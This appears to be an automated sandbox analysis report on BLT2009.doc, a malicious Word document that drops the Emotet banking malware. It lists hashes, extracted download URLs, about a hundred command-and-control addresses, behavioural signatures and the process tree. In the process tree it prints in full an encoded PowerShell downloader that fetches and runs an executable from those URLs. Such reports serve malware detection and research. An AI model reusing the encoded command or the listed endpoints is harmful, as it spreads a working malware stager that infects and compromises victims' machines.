Analysis
-
max time kernel
67s -
max time network
148s -
platform
windows7_x64 -
resource
win7 -
submitted
19-09-2020 13:06
Static task
static1
Behavioral task
behavioral1
Sample
BLT2009.doc
Resource
win7
General
-
Target
BLT2009.doc
-
Size
163KB
-
MD5
3bed1986a9ac94fba68c471fb4bcfc20
-
SHA1
9b8a01bc85ac72c25311bb8b934be6071ffedeb9
-
SHA256
24750ed2a7cbc122fca96df6f6ed3a3b879906272abbbcc636db5a6a441f68d2
-
SHA512
7f9870114bb40a322b3013053505319774d04f20a11840b391c4a668c84f285ccc5ca2df5ad201d6bd7263434483bb7cdb49fadaed74626dfa9625fbeb86617b
Malware Config
Extracted
http://dheeranet.com/Pej/
http://playschoolmatritva.com/cgi-bin/Uh/
http://dikshadayal.com/cgi-bin/Zl78esq/
http://new.mylicense.ca/5aiibj/vS2/
http://nucleokardecistalace.org.br/wp-includes/HviA/
http://britanniacricketleague.com/wp-admin/3qc8lQB/
https://www.hhbiao.com/ro/4Kh/
Extracted
emotet
71.72.196.159:80
134.209.36.254:8080
120.138.30.150:8080
94.23.216.33:80
157.245.99.39:8080
137.59.187.107:8080
94.23.237.171:443
61.19.246.238:443
156.155.166.221:80
50.35.17.13:80
153.137.36.142:80
91.211.88.52:7080
209.141.54.221:8080
185.94.252.104:443
174.45.13.118:80
87.106.136.232:8080
62.75.141.82:80
213.196.135.145:80
188.219.31.12:80
82.80.155.43:80
187.161.206.24:80
172.91.208.86:80
124.41.215.226:80
107.5.122.110:80
200.123.150.89:443
95.179.229.244:8080
83.169.36.251:8080
1.221.254.82:80
95.213.236.64:8080
181.169.34.190:80
47.144.21.12:443
203.153.216.189:7080
89.216.122.92:80
84.39.182.7:80
94.200.114.161:80
104.236.246.93:8080
139.99.158.11:443
176.111.60.55:8080
78.24.219.147:8080
220.245.198.194:80
62.30.7.67:443
139.162.108.71:8080
104.32.141.43:80
153.232.188.106:80
93.147.212.206:80
79.137.83.50:443
96.249.236.156:443
24.43.99.75:80
75.80.124.4:80
42.200.107.142:80
110.5.16.198:80
5.196.74.210:8080
110.145.77.103:80
200.114.213.233:8080
85.152.162.105:80
5.39.91.110:7080
109.74.5.95:8080
140.186.212.146:80
37.187.72.193:8080
97.82.79.83:80
139.130.242.43:80
201.173.217.124:443
123.176.25.234:80
104.131.44.150:8080
74.208.45.104:8080
139.59.60.244:8080
120.150.60.189:80
74.219.172.26:80
219.75.128.166:80
82.225.49.121:80
85.105.205.77:8080
24.179.13.119:80
74.120.55.163:80
174.102.48.180:443
219.74.18.66:443
168.235.67.138:7080
194.187.133.160:443
78.187.156.31:80
103.86.49.11:8080
61.92.17.12:80
24.137.76.62:80
104.131.11.150:443
79.98.24.39:8080
75.139.38.211:80
162.241.242.173:8080
195.251.213.56:80
37.139.21.175:8080
46.105.131.79:8080
50.91.114.38:80
121.124.124.40:7080
74.134.41.124:80
68.188.112.97:80
137.119.36.33:80
121.7.127.163:80
87.106.139.101:8080
94.1.108.190:443
169.239.182.217:8080
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1664 1100 powershell.exe -
Emotet Payload 8 IoCs
Detects Emotet payload in memory.
Processes:
resource yara_rule behavioral1/memory/304-14-0x00000000002D0000-0x00000000002E2000-memory.dmp emotet behavioral1/memory/304-14-0x00000000002D0000-0x00000000002E2000-memory.dmp emotet behavioral1/memory/304-15-0x0000000000240000-0x0000000000250000-memory.dmp emotet behavioral1/memory/304-15-0x0000000000240000-0x0000000000250000-memory.dmp emotet behavioral1/memory/552-19-0x00000000001C0000-0x00000000001D2000-memory.dmp emotet behavioral1/memory/552-19-0x00000000001C0000-0x00000000001D2000-memory.dmp emotet behavioral1/memory/552-20-0x00000000001E0000-0x00000000001F0000-memory.dmp emotet behavioral1/memory/552-20-0x00000000001E0000-0x00000000001F0000-memory.dmp emotet -
Blacklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 6 1664 powershell.exe -
Executes dropped EXE 2 IoCs
Processes:
Kvc2gdn.exeaaclient.exepid process 304 Kvc2gdn.exe 552 aaclient.exe -
Drops file in System32 directory 2 IoCs
Processes:
powershell.exeKvc2gdn.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\SysWOW64\PlaySndSrv\aaclient.exe Kvc2gdn.exe -
Office loads VBA resources, possible macro or embedded object present
-
Modifies registry class 280 IoCs
Processes:
WINWORD.EXEdescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{944ACF93-A1E6-11CE-8104-00AA00611080}\ = "Tabs" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{47FF8FE3-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{4DD03F03-60AE-4AD2-94C0-060ED51B06C7}\2.0 WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcList" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{A38BFFC3-A5A0-11CE-8107-00AA00611080} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074}\ = "IReturnSingle" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776}\ = "SpinbuttonEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}\ = "OptionFrameEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\TypeLib\{4DD03F03-60AE-4AD2-94C0-060ED51B06C7}\2.0\HELPDIR WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{A38BFFC3-A5A0-11CE-8107-00AA00611080}\ = "Tab" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLTextArea" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}\ = "MdcOptionButtonEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents2" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents4" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{82B02370-B5BC-11CF-810F-00A0C9030074} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}\ = "IMultiPage" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{82B02371-B5BC-11CF-810F-00A0C9030074} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{8A683C91-BA84-11CF-8110-00A0C9030074}\ = "IReturnEffect" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{04598FC8-866C-11CF-AB7C-00AA00C08FCF}\ = "_UserForm" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}\ = "ITabStrip" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}\ = "ScrollbarEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01}\ = "IOptionFrame" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}\ = "ITabStrip" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{47FF8FE8-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{4DD03F03-60AE-4AD2-94C0-060ED51B06C7}\2.0\ = "Microsoft Forms 2.0 Object Library" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{8BD21D43-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{47FF8FE2-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents4" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8BD21D43-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLImage" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}\ = "MdcToggleButtonEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents3" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}\ = "FormEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{944ACF93-A1E6-11CE-8104-00AA00611080}\ = "Tabs" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}\ = "MdcComboEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776}\ = "SpinbuttonEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcCheckBox" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}\ = "Controls" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}\ = "ICommandButton" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{04598FC1-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776}\ = "ISpinbutton" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLTextArea" WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 1496 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exeaaclient.exepid process 1664 powershell.exe 1664 powershell.exe 552 aaclient.exe 552 aaclient.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1664 powershell.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
WINWORD.EXEpid process 1496 WINWORD.EXE 1496 WINWORD.EXE -
Suspicious use of WriteProcessMemory 8 IoCs
Processes:
powershell.exeKvc2gdn.exedescription pid process target process PID 1664 wrote to memory of 304 1664 powershell.exe Kvc2gdn.exe PID 1664 wrote to memory of 304 1664 powershell.exe Kvc2gdn.exe PID 1664 wrote to memory of 304 1664 powershell.exe Kvc2gdn.exe PID 1664 wrote to memory of 304 1664 powershell.exe Kvc2gdn.exe PID 304 wrote to memory of 552 304 Kvc2gdn.exe aaclient.exe PID 304 wrote to memory of 552 304 Kvc2gdn.exe aaclient.exe PID 304 wrote to memory of 552 304 Kvc2gdn.exe aaclient.exe PID 304 wrote to memory of 552 304 Kvc2gdn.exe aaclient.exe
Processes
-
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\BLT2009.doc"1⤵
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -encod JABNAHUAcQB4AGoAcwBiAD0AKAAoACcAQwAnACsAJwBiADEAJwApACsAKAAnAG0ANwAnACsAJwBfADAAJwApACkAOwAmACgAJwBuAGUAdwAnACsAJwAtAGkAdAAnACsAJwBlAG0AJwApACAAJABlAG4AVgA6AHUAcwBlAHIAcABSAE8AZgBJAEwAZQBcAEQARgBiAHEAbQBLADUAXABBAF8AagB6ADQATwA1AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQAaQByAEUAQwB0AE8AcgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwBVAGAAUgBgAEkAdABZAHAAcgBgAE8AYABUAE8AQwBPAGwAIgAgAD0AIAAoACcAdABsACcAKwAnAHMAMQAnACsAJwAyACcAKwAoACcALAAgAHQAbAAnACsAJwBzADEAMQAnACsAJwAsACAAdAAnACkAKwAnAGwAcwAnACkAOwAkAEsAagA5ADcAbwBiAGsAIAA9ACAAKAAoACcASwAnACsAJwB2AGMAJwApACsAKAAnADIAZwBkACcAKwAnAG4AJwApACkAOwAkAEMANQBfADUAagBpADUAPQAoACcATAAnACsAJwBfAHAAJwArACgAJwA1ACcAKwAnAHYAeQBnACcAKQApADsAJABMADgAMQBfADUAcwA4AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHQAOQAnACsAKAAnADEAJwArACcARABmAGIAcQAnACkAKwAnAG0AawAnACsAKAAnADUAJwArACcAdAA5ADEAQQAnACsAJwBfACcAKQArACgAJwBqAHoAJwArACcANABvACcAKwAnADUAdAA5ACcAKQArACcAMQAnACkALQBDAHIAZQBwAGwAYQBjAEUAKAAnAHQAJwArACcAOQAxACcAKQAsAFsAYwBIAEEAUgBdADkAMgApACsAJABLAGoAOQA3AG8AYgBrACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABDAHkAbgBsAHYAcgBiAD0AKAAoACcAQQA4AGoAaAAnACsAJwBtAGMAJwApACsAJwAzACcAKQA7ACQARQBhAGoANwB0ADAAcgA9AC4AKAAnAG4AZQB3ACcAKwAnAC0AbwBiAGoAZQBjACcAKwAnAHQAJwApACAATgBFAHQALgB3AEUAYgBjAGwASQBFAE4AdAA7ACQAWABhAHkAZAB3ADQANgA9ACgAKAAnAGgAdAAnACsAJwB0AHAAOgAnACkAKwAnAC8ALwAnACsAKAAnAGQAJwArACcAaABlAGUAcgBhAG4AZQAnACkAKwAoACcAdAAnACsAJwAuAGMAJwApACsAJwBvACcAKwAoACcAbQAvACcAKwAnAFAAJwApACsAKAAnAGUAagAvACcAKwAnACoAaAAnACkAKwAoACcAdAB0ACcAKwAnAHAAOgAnACkAKwAnAC8ALwAnACsAKAAnAHAAbABhACcAKwAnAHkAcwBjACcAKQArACgAJwBoAG8AJwArACcAbwBsAG0AYQB0AHIAJwArACcAaQAnACkAKwAoACcAdAB2AGEAJwArACcALgAnACkAKwAoACcAYwAnACsAJwBvAG0AJwApACsAKAAnAC8AJwArACcAYwBnAGkAJwArACcALQBiAGkAbgAvACcAKQArACcAVQAnACsAKAAnAGgAJwArACcALwAqAGgAJwApACsAJwB0ACcAKwAoACcAdAAnACsAJwBwADoAJwApACsAKAAnAC8ALwBkACcAKwAnAGkAawAnACkAKwAoACcAcwBoAGEAJwArACcAZABhACcAKQArACgAJwB5AGEAJwArACcAbAAuAGMAJwApACsAKAAnAG8AJwArACcAbQAnACsAJwAvAGMAZwBpAC0AJwApACsAKAAnAGIAaQAnACsAJwBuAC8AWgAnACkAKwAoACcAbAA3ADgAJwArACcAZQBzACcAKQArACgAJwBxAC8AKgBoAHQAJwArACcAdABwADoALwAnACsAJwAvAG4AJwApACsAKAAnAGUAJwArACcAdwAuAG0AJwArACcAeQBsAGkAJwApACsAKAAnAGMAJwArACcAZQBuACcAKQArACgAJwBzACcAKwAnAGUALgBjAGEAJwApACsAKAAnAC8ANQAnACsAJwBhACcAKQArACgAJwBpACcAKwAnAGkAYgAnACkAKwAoACcAagAvAHYAUwAnACsAJwAyAC8AKgAnACsAJwBoAHQAdAAnACsAJwBwADoAJwApACsAKAAnAC8AJwArACcALwBuACcAKQArACcAdQBjACcAKwAoACcAbAAnACsAJwBlAG8AJwApACsAJwBrAGEAJwArACgAJwByAGQAZQBjAGkAJwArACcAcwB0ACcAKwAnAGEAbABhACcAKwAnAGMAJwApACsAKAAnAGUAJwArACcALgBvACcAKQArACgAJwByAGcALgAnACsAJwBiAHIAJwApACsAKAAnAC8AdwBwAC0AJwArACcAaQAnACkAKwAoACcAbgAnACsAJwBjAGwAdQBkACcAKwAnAGUAcwAnACkAKwAnAC8ASAAnACsAJwB2ACcAKwAoACcAaQBBACcAKwAnAC8AJwApACsAKAAnACoAaAAnACsAJwB0ACcAKQArACgAJwB0AHAAOgAnACsAJwAvAC8AJwApACsAKAAnAGIAJwArACcAcgBpACcAKQArACgAJwB0ACcAKwAnAGEAbgAnACkAKwAoACcAbgBpACcAKwAnAGEAYwAnACkAKwAoACcAcgAnACsAJwBpAGMAawBlAHQAJwApACsAJwBsACcAKwAoACcAZQBhAGcAdQBlAC4AYwBvAG0AJwArACcALwAnACsAJwB3ACcAKwAnAHAALQBhAGQAbQBpACcAKwAnAG4AJwApACsAJwAvACcAKwAnADMAcQAnACsAKAAnAGMAJwArACcAOABsACcAKQArACgAJwBRAEIAJwArACcALwAqAGgAJwArACcAdAB0AHAAJwApACsAKAAnAHMAJwArACcAOgAvAC8AdwB3AHcAJwApACsAKAAnAC4AaABoAGIAaQBhACcAKwAnAG8ALgBjAG8AJwArACcAbQAvACcAKQArACcAcgAnACsAKAAnAG8ALwA0ACcAKwAnAEsAaAAnACkAKwAnAC8AJwApAC4AIgBzAFAAbABgAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEUAbAB1AHAAcwBoAGUAPQAoACcARwAxACcAKwAoACcAOAAnACsAJwA3AHUAZgAyACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQASgAxAF8AaAA3AGkAdQAgAGkAbgAgACQAWABhAHkAZAB3ADQANgApAHsAdAByAHkAewAkAEUAYQBqADcAdAAwAHIALgAiAGQAbwBXAG4ATABgAE8AYABBAEQAZgBgAEkAbABlACIAKAAkAEoAMQBfAGgANwBpAHUALAAgACQATAA4ADEAXwA1AHMAOAApADsAJABMAHAAeAB0ADEAYwB1AD0AKAAnAFUAOQAnACsAKAAnADUAbQAwACcAKwAnAHcAJwApACsAJwB4ACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAJwArACcAdABlAG0AJwApACAAJABMADgAMQBfADUAcwA4ACkALgAiAGwAYABFAG4AYABnAHQAaAAiACAALQBnAGUAIAAyADcANAA0ADQAKQAgAHsALgAoACcASQAnACsAJwBuACcAKwAnAHYAbwBrACcAKwAnAGUALQBJAHQAZQBtACcAKQAoACQATAA4ADEAXwA1AHMAOAApADsAJABBAHgAawBkADIAZgA3AD0AKAAoACcATQBjACcAKwAnADcAJwApACsAKAAnAHUAZwAnACsAJwByACcAKQArACcANwAnACkAOwBiAHIAZQBhAGsAOwAkAE4AMwA5AHAAaQB5AGUAPQAoACcAWQAnACsAJwB5ACcAKwAoACcAdgBvACcAKwAnADQAOAB4ACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABOAHgAdQBzAHIAeQB6AD0AKAAnAFQAXwAnACsAKAAnAGkAJwArACcAXwB5AGIAJwApACsAJwB3ACcAKQA=1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\Dfbqmk5\A_jz4o5\Kvc2gdn.exe"C:\Users\Admin\Dfbqmk5\A_jz4o5\Kvc2gdn.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\PlaySndSrv\aaclient.exe"C:\Windows\SysWOW64\PlaySndSrv\aaclient.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix
Replay Monitor
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Downloads
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C:\Users\Admin\DFbqmK5\A_jz4O5\Kvc2gdn.exe
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C:\Users\Admin\Dfbqmk5\A_jz4o5\Kvc2gdn.exe
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C:\Windows\SysWOW64\PlaySndSrv\aaclient.exe
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memory/304-14-0x00000000002D0000-0x00000000002E2000-memory.dmpFilesize
72KB
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memory/304-15-0x0000000000240000-0x0000000000250000-memory.dmpFilesize
64KB
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memory/304-12-0x0000000000000000-mapping.dmp
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memory/552-20-0x00000000001E0000-0x00000000001F0000-memory.dmpFilesize
64KB
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memory/552-19-0x00000000001C0000-0x00000000001D2000-memory.dmpFilesize
72KB
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memory/552-17-0x0000000000000000-mapping.dmp
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memory/1496-4-0x00000000070C0000-0x00000000072C0000-memory.dmpFilesize
2.0MB
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memory/1496-2-0x0000000008C10000-0x0000000008C14000-memory.dmpFilesize
16KB
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memory/1664-7-0x000000001AB50000-0x000000001AB51000-memory.dmpFilesize
4KB
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memory/1664-11-0x000000001C2F0000-0x000000001C2F1000-memory.dmpFilesize
4KB
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memory/1664-10-0x000000001B860000-0x000000001B861000-memory.dmpFilesize
4KB
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memory/1664-9-0x00000000022E0000-0x00000000022E1000-memory.dmpFilesize
4KB
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memory/1664-8-0x000000001AA60000-0x000000001AA61000-memory.dmpFilesize
4KB
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memory/1664-6-0x0000000002380000-0x0000000002381000-memory.dmpFilesize
4KB
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memory/1664-5-0x000007FEE95F0000-0x000007FEE9FDC000-memory.dmpFilesize
9.9MB
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memory/1672-21-0x000007FEF5310000-0x000007FEF558A000-memory.dmpFilesize
2.5MB